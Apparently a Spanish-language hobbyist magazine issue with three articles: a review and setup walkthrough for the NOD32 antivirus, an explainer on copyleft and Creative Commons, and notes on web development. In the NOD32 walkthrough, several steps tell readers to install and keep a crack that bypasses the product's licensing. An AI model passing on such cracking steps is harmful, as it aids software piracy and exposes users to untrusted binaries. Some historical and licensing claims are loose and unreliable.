Es seguro que muchos de nosotros tengamos este antivirus, debido a la popularidad que se ha ganado en los últimos tiempos (además de que en nuestra red nacional no nos dan más opciones); pero de todas las características de este antivirus seguro que la más comentada es la poca utilización de recursos del sistema. Y es verdad, pero eso lo veremos más adelante en una comparación con otros antivirus como el Kaspersky (que para mí es el mejor, pero por desgracia mi máquina no es "de raza", o sea, es "sata" -calificativo que le doy a las máquinas que no son de marca y que tienen pocos recursos-). Nada, que me gustaría más tener una buena máquina o al menos una actualización diaria del Kaspersky, pero por desgracia no es así; además, que se dificulta sin Internet encontrar una llave con la que dure bastante tiempo su activación. Para ser sincero, creo que Kaspersky es el mejor antivirus y así sale en casi todos los sitios, pero como dije anteriormente... "eso es comida para una máquina de raza".

En fin, para no agobiarlos, vamos a hablar por fin de lo que trata el artículo en sí, pero creo que antes de adentrarnos en las características y aspectos del antivirus, deberíamos ver un poco de historia.

NOD32 surgió a principios de la década del 1990, cuando los virus de computadoras se estaban poniendo de moda y apuntaban al sector "buteable" (como lo decimos a diario) del disco duro. Aprovechándose su creador de que por aquella época estaba siendo transmitida en Europa por casi todas las cadenas de televisión la serie Nemocnica na Okraji Mesta u "Hospital at the Edge of the City” (muy popular por entonces), utilizó un juego de palabras para lanzar su nuevo antivirus; de esta forma lo llamó "Hospital at the Edge of the Disk", o "Nemocnica na Okraji Disku", dándole las iniciales NOD. En sus inicios se pronunciaba como letras independientes (sonaría como: "ene.o.de" o "en.ou.di" [en inglés]). De un tiempo para acá, en el mundo se le empezó a llamar más sencillo: “NOD”.

La versión actual del NOD32 es muy diferente a como era originalmente. Varias generaciones del programa se han desarrollado como una respuesta al rápido cambio en la complejidad de los virus. Como lo conocemos hoy en día trabaja en sistemas de 32 y 64 bit, y precisamente es eso lo que le hizo cambiar de nombre al pasar de la plataforma de 16 bit a la de 32 bit; de esta forma pasó de NOD-ICE a NOD32, como lo conocemos.

No podemos pasar por alto que este antivirus pertenece a Eset, que es una compañía de seguridad informática establecida en Bratislava, Eslovaquia, fundada en 1992 como resultado de la fusión de dos compañías privadas.

El antivirus trabaja bajo sistemas operativos como Windows, Linux, FreeBSD y Novell, y tiene versiones para estaciones de trabajo, servidores de archivos, servidores de correo electrónico y una herramienta de administración remota.

Para la detección en tiempo real de nuevas amenazas o virus nuevos aún no catalogados, NOD32 utiliza un motor unificado llamado ThreatSense® (seguro muchos de nosotros hemos leído algo al respecto en alguna herramienta del antivirus, y no es más que la heurística, de la que hablo al final), analizando el código de ejecución en busca de las intenciones malignas de alguna aplicación malware (definición de una variedad de software o programas de códigos hostiles e intrusivos). Esto permite el análisis del código binario en tiempo de ejecución para determinar el comportamiento sospechoso propio de malware y detener la amenaza antes que infecte el ordenador.

Un pequeño aparte se le debe hacer a los módulos, no sólo por su importancia dentro del programa, sino para la aclaración de algunos usuarios. Personalmente, antes no comprendía la funcionalidad de todos ellos.

Módulos

  • AMON (Monitor Antivirus - Antivirus MONitor): Es el monitor del sistema de archivos. Es el módulo residente en memoria que funciona durante el acceso, encargado de revisar automáticamente en busca de virus en cada archivo antes de que sea abierto, movido, copiado o eliminado.
  • DMON (Monitor de Documentos - Document MONitor'): Es el módulo que protege los documentos. Revisa todo tipo de documentos (de Office), incluyendo al Internet Explorer, utilizando el API propiedad de Microsoft.
  • EMON (Monitor de Emails - Emails MONitor): Es el módulo de e-mail. Revisa el correo electrónico que se envía y se recibe a través de la interfaz MAPI o MUA compatibles con MS-Exchange y MS-Outlook.
  • IMON (Monitor de Internet - Internet MONitor): Es el monitor de Internet. Revisa en busca de virus y otro tipo de amenazas en las páginas web que visitamos. Analiza el tráfico a nivel de WinSock (sockets de Windows) y adicionalmente verifica las descargas a través del protocolo POP3, IMAP. Puede configurarse para revisar diferentes puertos TCP.
  • NOD32 Scanner: Nos permite hacer varios tipos de análisis bajo pedido: revisar disquetes, discos duros, el sistema en profundidad, etc... Puede ser también configurado para realizar análisis programados por nosotros de manera automática.

NOD32 lleva una gran ventaja frente a otros productos antivirus (según Virus Bolletin, su eficacia es del 100%). En comparación con otros productos antivirus, su bajo consumo de recursos lo hace mucho más rápido que cualquier programa de la competencia y sus análisis antivirus son muy rápidos.

NOD32 está escrito en su mayor parte en código ensamblador, lo cual contribuye a su bajo uso de los recursos del sistema y su alta velocidad de escaneo. Esto, en otras palabras, significa que el NOD32 puede fácilmente procesar más de 23 MB por segundo cuando está escaneando en un ordenador modesto. Con todos sus módulos en tiempo real activados, usa menos de 20 MB de memoria en total, pero la RAM usada es a menudo sólo la tercera parte de esto.

Creo que es hora de hacer algunas comparaciones (no las he hecho yo; sólo me he limitado a investigar) para que vayan sacando sus conclusiones. Comparemos el uso de recursos. La gráfica a continuación no sólo se refiere al uso de memoria RAM, sino también al espacio que ocupa en el disco duro.

Consumo de Recursos de los Antivirus

Creo que son innecesarios los comentarios con respecto a esta gráfica.

Antes de continuar debo aclarar algunas cosas. Muchos de nosotros nos limitamos a instalar el antivirus y actualizarlo a diario cuando nos conectamos o nos traen la actualización, y esto está bastante mal. En lo personal, me quejé dos o tres veces de que cogía virus con el NOD32 (cosa que puede suceder, no es menos cierto) y tenía que formatear cuando no encontraba más remedio (Krlo conoce por todo lo que he pasado el mes anterior en cuanto a virus), pero es que en ocasiones el desconocimiento nos lleva a cometer errores.

No quiero caer en un manual de instalación para NOD32, pero creo que esto debe saberse para un mejor funcionamiento del antivirus cuando se instala:

1. Lo primero que debemos hacer es desinstalar el antivirus que teníamos anteriormente (no importa si fuera una versión anterior del NOD32, la misma que vamos a instalar u otro antivirus):
     a) Cerrar primero el modulo residente del antivirus.
     b) Desinstala el parche NOD32.FiX.v2.2-nsane.
     c) Finalmente desinstalar el antivirus.
     d) Al terminar la desinstalación deberás reiniciar el equipo. La desinstalación no borra completamente el contenido de la carpeta donde se instaló el programa (Por defecto %ProgramFiles%\ESET), deberás hacerlo manualmente. En particular no se borra %ProgramFiles%\ESET\Install, donde al ejecutar setup.exe reinstalarás el programa.

2. Ejecuta el .exe (es un archivo comprimido ejecutable)
     a) Indica la carpeta donde se descomprimirá (recomendado no cambiarla)
     b) Tipo de Instalación (Típica / Avanzada / Experta):  Avanzada.
     c) (x) "Acepto" el contrato de licencia.
     d) (x) Desconozco si es usado un servidor Proxy. Usar las mismas características establecidas para Internet Explorer.
     e) NO activar el envío de nuevos virus al laboratorio de Eset.
     f) (x) Activar la detección de aplicaciones potencialmente indeseables.
     g) Modulo AMON:  (x) Si, deseo activar automáticamente el monitor del sistema de archivos.
     h) (x) Habilitar la protección de IMON para el correo POP. Agregar notificación a los mensajes: (x) Sólo a los mensajes infectados.
     i) ATENCIÓN, ES FUNDAMENTAL NO Reiniciar ahora; (x) Reiniciar más tarde.

3. Instalaremos ahora el crack.
     a) Ejecuta NOD32.FiX.v2.2-nsane.exe (Comprueba que la carpeta donde se instalará es la correcta -donde mismo instalamos el antivirus-
     b) AHORA REINICIA EL ORDENADOR.

4. Luego vamos a configurar el NOD32 para optimizar su funcionamiento. Por defecto tiene la tarea de actualizarse cada 1 hora -característica que no necesitamos-, por eso vamos a mejorar las tareas programadas por defecto.
     a) NOTA: NO DESACTIVES NINGUNA TAREA CON EL NOMBRE "NOD32 FIX"
     b) Vamos a activar y desactivar las siguientes tareas:
          i) ( ) Actualización automática de rutina (cada hora)
          ii) ( ) Actualizar automáticamente después de conectar por módem (cuando se establezca conexión a Internet/VPN con módem RTB, telefónico, máximo cada 1 horas)
          iii) (  ) Actualizar automáticamente después del registro de usuario (cuando te registres)
          iv) (x) Analizar los archivos ejecutados durante el inicio del sistema (cuando se actualice la base de firmas de virus; máximo: una vez cada 24 horas).
     c) Vamos a añadir una tarea para que la firma de virus se actualice cada 24 horas. Lo vamos a hacer de dos formas, para los que lo actualizan on-line y para los que le llevan los ficheros de la actualización.
     d) Pulsar el botón Agregar de Tareas programadas.
     e) Seleccionar la tarea a programar: “NOD32 Update - Actualización del sistema NOD 32".
     f) Escriba el nombre de la tarea: (Por ejemplo: "Mi actualización diaria")
     g) Para los que actualiza on-line:
     h) (x) Cuando se cumpla una condición.
     i) Se detecte conexión a Internet / VPN.
     j) Si no es posible completar en ese momento: (x) Esperar hasta la próxima activación programada.
     k) (x) Mostrar cuadro de dialogo para opciones especiales de la configuración de la tarea.
     l) Seleccione el perfil para usar en la actualización: "Mi perfil".
     m) Para los que actualizan a través de una flash o cualquier otro soporte de información.
     n) Lo primero -y está demás decirlo- es copiar y sobrescribir las bases que están en la carpeta ESET.
     o) (x) Cuando se cumpla una condición.
     p) Se inicie el ordenador
     q) Si no es posible completar en ese momento: (x) Esperar hasta la próxima activación programada.
     r) (x) Mostrar cuadro de diálogo para opciones especiales de la configuración de la tarea.
     s) Seleccione el perfil para usar en la actualización: "Mi perfil"

5. Ahora vamos a configurar lo más importante. Cuando lo instalamos, por defecto no detecta archivos comprimidos, archivos comprimidos de auto extracción y otros en ninguno de los análisis. Es recomendable que lo habilite en todos, pero eso se lo dejo a su juicio.
     a) Abrir el NOD32 Control Center.
     b) Módulos de protección » NOD32 Scanner; y en la ventana derecha botón: "NOD32 Scanner"
     c) Pestaña Perfiles » Selector de Perfiles » (Repetir lo que sigue para los seis perfiles disponibles:)
          i) Pestaña Configuración » Objetos a verificar:
          ii) (x) Archivos comprimidos.
          iii) (x) Archivos comprimidos de autoextracción
          iv) (x) Archivos de correo.
          v) Cuando cambies en el Selector de perfiles, te advertirá: ("El perfil... ha sido modificado. ¿Desea guardar los cambios?: SI - Guardar ("El perfil ha sido guardado")

Nota:
Donde aparece () es para que la desmarques o no la marques.
Donde aparece (x) es para que la marques y ya está marcada la dejes así.
Una última cosa: la configuración está basada en la versión es español. Espero que los que la tengan en inglés no presenten problemas. En caso contrario tenemos el foro.

Terminada esta explicación, creo que sólo falta por añadir algo acerca de uso por el momento. Cuando estamos escaneando la máquina, puede mostrarnos líneas negras, azul y rojas (me refiero a líneas de texto). Pues bien, este es el significado del análisis de ficheros:
Línea negra = sin problemas
Línea azul = advertencia: fichero que no se pudo abrir por ser usado por el sistema o tener                      password (esta dificultad no aparece en antivirus como el Kaspersky)
Línea roja = ¡VIRUS DETECTADO!

Para desactivar temporalmente los módulos AMON, DMON, IMON:
- Abrir el "NOD32 Control Center"
- Threat Protection Modules » (Selecciona el módulo: AMON, DMON, IMON)
- Desactiva: ( )... enabled...

Para que no vuelva a iniciarse IMON, abre M ódulos de análisis » IMON » Quit
(Deberás reiniciar el equipo y cuando arranque ya no se cargará el módulo IMON)

Para comprobar la fecha de la base de firmas de virus ve a herramientas del sistema NOD32 » Información » Fecha.

Espero que este artículo haya ayudado a muchos, ya que hubiera deseado tiempo atrás no lidiar con una máquina repleta de virus por desconocimiento. Espero que les sirva a ustedes, pues les diré que por no habilitar las características que más arriba se explican, tengo una amistad (que la verdad no está muy adentrada en el tema de las computadoras) que tenia 13 virus -sin mentirles. Por no habilitar el antivirus como debía, cuando llegó a hacerlo, el NOD32 los detectó todos. Creo que éste es un problema que debería venir solucionado desde la instalación y no dejar a los usuarios hacerse cargo de él, debido a que no todos tenemos los conocimientos necesarios. Otra cosa más, en lo personal yo también habilité la opción de Detectar aplicaciones potencialmente peligrosas, pero teniendo presente que, habilitando esto, todos nosotros que tengamos programas como ghostMail, algunos cracks, y otros tanto de ese tipo que el NOD32 los va a ver probablemente como virus; se lo dejo a su juicio.

Ahora creo que estamos es condiciones de valorar al NOD32 un poco más y ver el nuevo resultado de este antivirus. También creo que podemos ver ahora el resultado en varias pruebas frente a otros programas antivirus, algunos conocidos por nosotros y otros no tanto.

Pruebas superadas por los Antivirus

Virus no detectados

Rendimiento en el análisis de archivos

Rendimiento en el análisis de archivos ejecutables

No quisiera cerrar este artículo sin antes tocar el tema de la heurística. Es posible que algunos hayan oído hablar de ella; pues bien, consiste en técnicas de reconocimiento inteligente de códigos maliciosos (virus, gusanos, caballos de Troya, etc.). El término general implica funcionalidades como detección a través de firmas genéricas, reconocimiento del código compilado, desensamblado, desempaquetamiento, entre otros. Su importancia radica en el hecho de ser la única defensa posible frente a la aparición de nuevos códigos maliciosos de los cuales no se posean firmas.

Una de las técnicas nombradas arriba es la de desempaquetamiento, que tiene como objetivo analizar el código real del programa, y no el empaquetado, debido a que los programadores de códigos maliciosos suelen usar empaquetadores de archivos con el fin de modificar la "apariencia" del virus a los ojos del análisis antivirus. Empaquetadores como UPX son ampliamente utilizados para esto.

La Heurística es un aspecto muy difícil de probar en los productos antivirus, dado que se requiere realizar las denominadas evaluaciones retrospectivas. Para poder analizar correctamente el funcionamiento de las capacidades heurísticas o proactivas de un antivirus, lo que se hace es detener la actualización de firmas del producto durante un período de tiempo determinado. En ese lapso se acumulan muestras de códigos maliciosos nuevos, para que una vez recolectada una cantidad suficiente, se analice si los productos antivirus las reconocen o no. Al no haber sido actualizados para detectar esas muestras, el antivirus sólo podrá reconocer si están infectadas o no a través de sus capacidades heurísticas (esto es a lo que se conoce como evaluaciones retrospectivas). Gracias a estas evaluaciones se puede conocer en detalle el rendimiento de los productos antivirus frente a virus nuevos o desconocidos.

Para saber más...

Continuar leyendo

Copyleft

Alien [blackhat4all@gmail.com]

Copyleft no es más que un tipo de licencia para definir las reglas sobre los derechos de autor, generalmente para establecer el derecho a copiar y redistribuir un trabajo determinado. Aunque el concepto esté un poco reducido, en realidad va mucho más allá.

Las raíces de este tipo de licencias surgen en el mundo del software; aunque ya en estos tiempos -gracias al creador y principal promotor de esta variante: Richard Stallman- se puede aplicar a todo tipo de obra que se quiera registrar.

La historia comienza en 1984, cuando Stallman intentó acceder a las modificaciones que se habían realizado sobre una creación que inicialmente le pertenecía y le fue denegado el acceso. Desde ese instante centró sus fuerzas para terminar con este tipo de conducta. Uno de los primeros pasos que dio fue crear su propia licencia de derechos reservados, que llamó Licencia Pública General o GPL, siendo éste el primer tipo de licencia copyleft (aunque no se le llamara de esta forma hasta varios años después).

Vale aclarar que, aunque el copyleft sea un punto contrario al copyright, también tiene una serie de permisos, permitiendo que existan varios tipos de licencias copyleft.

Hay quienes piensan que adquiriendo una licencia copyleft perderían sus derechos sobre la obra en cuestión. Esto es completamente falso. Registrar una creación bajo un tipo de licencia Creative Commons no significa que no posea copyright. Esta clase de licencias ofrecen más derechos a terceras personas y usuarios de las obras, pero siempre bajo ciertas condiciones o normas -que elige el autor. Las licencias copyleft permiten, como dije antes, darle una serie de "matices" a la obra. Se puede escoger entre varias opciones, y una de ellas es que se coloque -siempre que se use una referencia o parte de un documento protegido bajo este tipo de licencia- el nombre del autor. Lo único que no puede hacerse es convertir una obra que esté en copyleft a copyright.

¿Qué es Creative Commons?

Creative Commons es una organización norteamericana sin ánimo de lucro que defiende la idea de que no todos los creadores -de cualquier tipo de obra intelectual- desean mantener todos los derechos reservados sobre su trabajo. Es para ellos normal suponer que habrá artistas que prefieran que sus creaciones se puedan compartir y distribuir libremente. Con esta idea, en 2001 se fundó Creative Commons, una corporación que ha ideado y puesto en marcha diversos tipos de licencias para registrar obras con "algunos derechos reservados". Todo ello potenciando la posibilidad de compartir, modificar y distribuir un trabajo, lo cual facilita su divulgación.

Un autor puede elegir entre varias condiciones para el uso de sus trabajos, creando diversas combinaciones posibles para registrarlos según se estime oportuno. Hay un total de cuatro tipos de licencias Creative Commons o copyleft:

  • Reconocimiento (Attribution): El material creado por un artista puede ser distribuido, copiado y exhibido por terceras personas si se reconoce la autoría en los créditos.
  • No Comercial (Non commercial): El material original y los trabajos derivados pueden ser distribuidos, copiados y exhibidos mientras su uso no sea comercial.
  • Sin Obra Derivada (No Derivate Works): El material creado por un artista puede ser distribuido, copiado y exhibido, pero no se puede utilizar para crear un trabajo derivado del original.
  • Compartir Igual (Share alike): El material creado por un artista puede ser modificado y distribuido, pero bajo la misma licencia que el material original.

Con la combinación de estas cuatro condiciones se logran componer las seis licencias que se pueden elegir:

  • Reconocimiento: El material creado por un artista puede ser distribuido, copiado y exhibido por terceros si se muestra en los créditos.
  • Reconocimiento - Sin obra derivada: El material creado por un artista puede ser distribuido, copiado y exhibido por terceros si se muestra en los créditos. No se pueden realizar obras derivadas.
  • Reconocimiento - Sin obra derivada - No comercial: El material creado por un artista puede ser distribuido, copiado y exhibido por terceros si se muestra en los créditos. No se puede obtener ningún beneficio comercial. No se pueden realizar obras derivadas.
  • Reconocimiento - No comercial: El material creado por un artista puede ser distribuido, copiado y exhibido por terceros si se muestra en los créditos. No se puede obtener ningún beneficio comercial.
  • Reconocimiento - No comercial - Compartir igual: El material creado por un artista puede ser distribuido, copiado y exhibido por terceros si se muestra en los créditos. No se puede obtener ningún beneficio comercial y las obras derivadas tienen que estar bajo los mismos términos de licencia que el trabajo original.
  • Reconocimiento - Compartir igual: El material creado por un artista puede ser distribuido, copiado y exhibido por terceros si se muestra en los créditos. Las obras derivadas tienen que estar bajo los mismos términos de licencia que el trabajo original.

Muchos autores realizan obras para sacar un provecho financiero de las mismas, pero existe por otra parte que persigue objetivos distintos: a veces popularidad, otras veces un nombre dentro de un campo determinado, prestigio, etc. Debido a los objetivos que se proponen las licencias copyleft, es bajo éstas que están registradas las obras de esta creciente comunidad de personas.

¿Objetivos?

Que los textos se difundan lo máximo posible permitiendo la libre reproducción, establecer claramente el autor original del texto y evitar que un contenido copyleft pase a ser de copyright.

Para un autor desconocido, el copyright sólo trae problemas, ya que evita que su obra se expanda; esto sólo lo centrará dentro de un campo muy estrecho del cual difícilmente pueda salir, sin contar que el llegar a ser conocido le resultará una tarea ardua. Por el contrario, el copyleft, para los autores inéditos o no famosos, trae muchas ventajas.

El copyleft obliga a dejar bien claro en el documento reproducido el autor original, desde la mera mención en la página principal de un website hasta una extensa referencia del mismo en una revista; depende de la relevancia de la reproducción o el número de copias realizadas. Si se hacen modificaciones en el documento original, el copyleft especifica que debe dejarse claro cuál es el contenido original y cuáles las modificaciones realizadas por un segundo autor. Cuando eliges una licencia copyleft, no concedes tus derechos de autor a terceros, sino que eres tú mismo el que decide cómo quieres proteger tu trabajo. Mantienes el control sobre la obra sin que nadie ejerza un poder sobre ella. El tipo de licencia que escoges va a perdurar en el tiempo aunque se reproduzca, se copie o se hagan obras derivadas del original. El copyleft defiende el concepto de compartir las ideas y el conocimiento. Esta libertad de reproducción es la que hace que se pueda llegar a un amplio número de personas y es una inmejorable forma de hacerse con un prestigio profesional y una forma de conseguir el éxito y el reconocimiento del público. Una gran parte de los autores de trabajos bajo licencias abiertas consigue importantes beneficios, gracias a su popularidad, impartiendo conferencias, cursos o charlas, además de otras posibilidades que se abren gracias al carácter libre y abierto del copyleft.

Para los diseñadores de páginas web es muy importante este tipo de licencias, ya que una de las cosas que le gusta a un webmaster es que su sitio llegue a ocupar una de las primeras posiciones en los más famosos buscadores; pero esto ocurrirá con más facilidad si se ha licenciado la página como copyleft, permitiendo a otras páginas de relevancia hacer referencia a determinados artículos que en la misma se encuentran, y elevando por los cielos el pagerank.

Queda un factor muy importante: el hecho de que una obra sea copyleft no quiere decir que el autor no obtenga ganancias de la misma. La licencias copyleft sólo se limitan a establecer los derechos de copia y reproducción de la obra, no su precio.

Para saber más...

Continuar leyendo

Notas para un mejor desarrollo web (I)

ZorphDark [blackhat4all@gmail.com]

El trabajo del científico inglés Timothy Berners-Lee titulado "El manejo de la información: una propuesta", concluido en 1989, marcó una pauta revolucionaria en el mundo de las redes y las comunicaciones. Dicha investigación, elaborada junto a Roy Fielding y Henrik Frystyk Nielsen, estaba basada en los modelos teóricos de interconexión de documentos de los años '60, denominados hipertextos. Berners-Lee y sus colaboradores partieron de la idea de elaborar una estrategia que permitiera a los usuarios acceder fácilmente a la información disponible en cualquiera de las redes del planeta. Previo a los resultados de estos estudios, se necesitaba dominar complicadas interfaces e instrucciones, sin contar que había que acceder a algunos tipos de redes utilizando programas y sistemas operativos específicos. El HTTP solucionó esta dificultad, logrando vincular los recursos almacenados en diversas plataformas de un modo eficaz y transparente para los usuarios. En los primeros meses de la década de 1990, el físico Paul Kunz colocó el primer servidor web de Internet en el Acelerador Lineal de la Universidad de Stanford, dando pie a los inicios de la World Wide Web. Con la generalización de este servicio, Internet pasó del uso científico y académico a una total masificación en todos los sectores de la sociedad.

En 1992 ocurrió un acontecimiento muy importante: un joven norteamericano de 21 años desarrolló, en el NCSA de la Universidad de Illinois, el primer navegador capaz de manipular recursos multimedia. Se trata de Marc Andreessen, quien contribuyó de forma decisiva a la expansión de la Web con la primera versión de Mosaic. Los efectos de esta aplicación rompieron con todos los límites previstos, llevando a Andreessen meses después a liderar el equipo de desarrollo del Netscape Navigator. Lo demás se puede resumir en estadísticas: antes de 1994, la web se había difundido a mayor velocidad que las PC en los años '80, continuando a tal rimo exponencial que en la actualidad es prácticamente imposible cuantificar con exactitud el número de servidores y sitios web existentes en la red.

En su corta historia, la Web ha demostrado -entre otros factores- que cualquier intención, por más pequeña que sea, puede tener un colosal desenlace. Ejemplos sobran: Google, Yahoo!, Napster, Million Dollar Homepage -iniciadas por estudiantes-, o Amazon y eBay, que alcanzaron su privilegiada posición por ser de las primeras webs que tocaron el tema del comercio electrónico a partir de 1995, luego de la privatización de Internet. Pues ante estos casos no hay que quedarse de brazos cruzados... todo lo contrario, hacer un análisis de cómo estos y otros cientos de miles de sitios han alcanzado la popularidad en el ciberespacio.

Concebir un objetivo::

Seguramente ninguna empresa o proyecto ha conducido su rumbo hacia adelante sin un objetivo preciso; así mismo ocurre con los sitios de Internet. Antes de comenzar el desarrollo de una simple página o de un íntegro portal de información, hay que examinar con certeza las metas que se deseen alcanzar y las vías por donde encauzarse.

Las perspectivas del sitio deben ser extensibles, es decir, que si pasan dos meses y se desea añadir un nuevo servicio, ello no debe suponer una reestructuración a gran escala. Los objetivos no están sólo relacionados con el plano conceptual; también influyen en el diseño, la información que se brinda, el nexo con los clientes y otra larga lista de factores. Siempre es necesario concebir la proyección de una web con la hipótesis de un crecimiento ilimitado, debido a que nunca sabremos qué pasará en un futuro, tanto si nos dedicamos a un portal de noticias como a la exposición de obras realizadas por un artista. Esto no quiere decir que aceptemos cualquier propuesta fuera de ámbito, sino que modelemos las ideas con el fin de que el sitio pueda enriquecerse sin problemas con el paso del tiempo.

Centrarse en el usuario::

Luego de proyectarse con amplitud y objetividad, es común ver a desarrolladores modelando el sitio en relación con sus propios conceptos e intereses. Al final el resultado es obvio: será una web orientada al creador y no a los visitantes. Pues como no se trata de un hogar, un sitio web debe tratar este indeseado efecto estableciendo las proporciones adecuadas.

Primeramente, es necesario definir a qué público está dirigido el objetivo primario y luego estudiar lo que los motiva y afecta, para erigir con acierto los pilares del proyecto. Éste es uno de los puntos más importantes de toda la etapa de desarrollo, ya que sin los criterios apropiados estaríamos cometiendo el error de tergiversar los objetivos.

La versión final de nuestro sitio debe ser capaz de anticiparse a las necesidades de sus usuarios potenciales. Por ejemplo, si gestionamos el espacio virtual de una línea de ómnibus, será necesario ofrecer un mapa interactivo del área que abarca dicha compañía con cada una de sus rutas disponibles, en adición a otros servicios de gran demanda.

Es importante que complejidad de la estructura del sitio se encuentre en equilibrio con el nivel medio de nuestros visitantes. No podremos obstaculizar a los clientes ni tampoco abrumarlos de pasos evidentes. Ambas situaciones podrían restarnos público y echarlo todo a perder. Por ello es tan importante conocer a nuestros usuarios, retroalimentarnos y aprender de ellos mediante foros, encuestas y técnicas de blogging. Es evidente que tenemos que adaptarnos a las críticas, remodelaciones y demás factores tan complicados, pero que pueden lanzarnos directamente a la popularidad.

Dinamismo y versatilidad::

El ciberespacio de los años '90 se caracterizó por mostrar al internauta contenidos previamente estructurados y dispuestos en un medio específico -tal como el índice de libros de una biblioteca municipal, colocado en una enorme tabla con columnas rotuladas según los datos de cada una de las publicaciones. Este modelo estático se tornó obsoleto mucho antes de que los nuevos desarrolladores se volvieran locos gestionando toda la información de su sitio web, gracias al surgimiento de la programación de páginas dinámicas en el lado del servidor. Uno de los primeros sistemas de este tipo fue el CGI, que se escribía cumúnmente en PERL, aunque desde otros lenguajes como C++ y Visual Basic se podían construir elementos equivalentes que detectaran peticiones hechas al servidor y devolvieran HTML con la información resultante. El funcionamiento de plataformas cliente-servidor posteriores es similar, aunque no requieren del tiempo de desarrollo ni de los recursos de servidor que utilizaba CGI.

Hoy en día, los lenguajes más utilizados para administrar una web son el PHP, JSP y ASP, en conjunto con sistemas gestores de bases de datos y el XML. Como el objetivo de estas notas no es realizar una comparación exhaustiva de cada una de las tecnologías de servidor existentes, nos centraremos en la simbiosis Apache + PHP + MySQL para ejemplificar las ventajas de los modelos dinámicos.

Imaginémonos envueltos en el caso de la bliblioteca municipal: alguien nos asigna el desarrollo de su catálogo virtual. Lo primero que nos viene a la mente es la automatización y el mantenimiento de ese colosal cúmulo de datos. Para ello recurrimos a la tríada referenciada por su potencia, confiabilidad y carácter open source (no pagamos un sólo centavo y estamos conscientes sobre qué hay en el núcleo de dichos productos, con la libre posibilidad de personalizarlos a nuestro gusto). Luego nos sentamos frente a la computadora a diseñar las bases de datos y desarrollar un eficiente algoritmo que permita devolver a los clientes del sitio cualquier consulta efectuada por ellos. Habrá que asignar a la mayor parte de los usuarios un acceso de sólo lectura, mientras que algunos trabajadores tendrán el derecho de editar, organizar y ampliar el catálogo on-line de libros y documentos almacenados en la biblioteca. Cada visitante podría comentar un libro determinado, debatir en el foro sobre algún género literario o, simplemente, comprar con un par de clicks revistas o folletos que lanzó dicha institución en la Feria del Libro pasada.

Como se puede apreciar, todo esto es prácticamente imposible hacerlo en un sistema de páginas Web estáticas. El mero hecho de visualizar datos se convierte en un proceso tedioso de tener que actualizar las etiquetas HTML manualmente, considerando que el contenido sea extenso y deba actualizarse con frecuencia. Muchos especialistas emplean el término Web 2.0 para denominar ciertos modelos que aprovechan eficientemente el control de la información, como Wikipedia, GMail y otros cientos de servicios web activos en Internet. El esquema conceptual de la derecha muestra claramente sus aspectos innovadores. Hoy en día, en pleno desarrollo de este tipo de tecnologías, hay quienes se atreven de hablar, inclusive, de la Web 3.0 y hasta de una Web 4.0, cuyas promesas fundamentales son lograr que la telaraña aprenda los hábitos y preferencias de cada uno de los que queden "atrapados" en ella, para refinar al máximo la búsqueda de recursos e información.

Muchos desarrolladores prefieren utilizar, junto a la programación web en el lado del servidor, scripts ejecutados en el navegador del cliente. Los ejemplos más generalizados son bastante conocidos: JavaScript, VBScript, ActionScript (contenido dentro de los archivos SWF), pero las ventajas de cada uno de estos lenguajes comúnmente opacan sus debilidades. ¿Por qué? Pues muchos de los navegadores no incluyen los plug-ins necesarios para ejecutar este tipo de contenido o sus versiones interpretan versiones diferentes -valga la redundancia- de lenguajes scripts. Por ello se debe tener mucho cuidado con el desarrollo de aplicaciones web del lado del cliente, porque el browser puede ser incompatible o cualquier usuario tiene la posibilidad de desactivar la ejecución de contenidos dinámicos. Estas dos dificultades ocurren muy a menudo, por lo que depender de la configuración de cada cliente puede desenfocar las pretensiones de nuestro proyecto. Debemos desarrollar pensando que nuestro sitio debe correr de una forma óptima en los sistemas de todos nuestros visitantes.

La revista BlackHat está basada en un modelo estático, dada las condiciones de la infraestructura de las redes en nuestro país. Una gran porciento de nuestros lectores no puede acceder directamente a la web o invertir un tiempo considerable dentro de ella, por lo que el contenido de esta publicación puede ser consultado sin conexión. Esperamos que algún día la información de no sólo ésta, sino de todas las fuentes de conocimiento del mundo, puedan ser accesibles desde cada uno de los hogares de las personas interesadas en aprender. Quizás no sea una vana esperanza, pues todo depende de que quienes manejan los ajustes -y gozan de una vasta conectividad- nos ofrezcan servicios, en vez de minimizar las posibilidades de los que navegan o de los que aún no tienen la oportunidad de hacerlo. Cabe recordar a los que se les ha olvidado, que cada minuto que pasa es tiempo que tenemos perdido en ese mundo potencialmente increíble al que todos llamamos ciberespacio.

equilibrio entre Contenido y diseño::

Ambos conceptos siempre se han llevado de la mano, más aún en esta década, donde la post-explosión de Internet ha definido, extendido y reestructurado un caudal de nociones tradicionales. Es común afirmar que un documento objetivo, interesante y que nos aporte información, tiene los motivos suficientes para ser publicado en la red. Pero si se analizan ciertos factores, como la ausencia de estructuración, uso de colores no contrastantes, tipografías incorrectas y esquemas visuales desproporcionados, nos damos cuenta de que aún el trabajo no está concluido. Lo mismo ocurre con un portal de noticias, un gestor de encuestas, un cliente de correo electrónico o una aplicación de negocios on-line. De no tener el adecuado estilo y presentación, el mensaje implícito de cada web no podrá ser transmitido adecuadamente. Se podría definir, sin caer en aspectos técnicos ni artísticos, que tanto la información como su diseño ejercen la misma importancia a la hora de llevarla al dominio público.

El desarrollo web exige de ciertas reglas que sólo son aplicables a este medio donde, según Jakob Nielsen, “la única constante es el cambio”. Se puede destacar la ligereza del contenido y su separación en módulos y secciones, debido a que el display donde se muestra toda esa información no es un libro, ni se lee tan cómodo como en el papel. La optimización de los algoritmos de contenidos interactivos y del tamaño de los recursos multimedia juegan un papel muy importante, por los límites de velocidad de transferencia de cada una de las redes interconectadas a Internet y los niveles de procesamiento de la CPU de los usuarios.

Por último, se debe tratar a un sitio web como una maquinaria en movimiento, totalmente flexible ante cualquier cambio tecnológico o estético. Por ello es recomendable utilizar hojas de estilo para la presentación de información, como las CSS o XSL, que permiten separar la forma del contenido (aunque las XSL van mucho más allá), mantener el diseño y el concepto del sitio vinculados con los objetivos propuestos y, lo más importante, siempre estar abiertos a nuevos cambios que puedan surgir.

Para saber más...

Continuar leyendo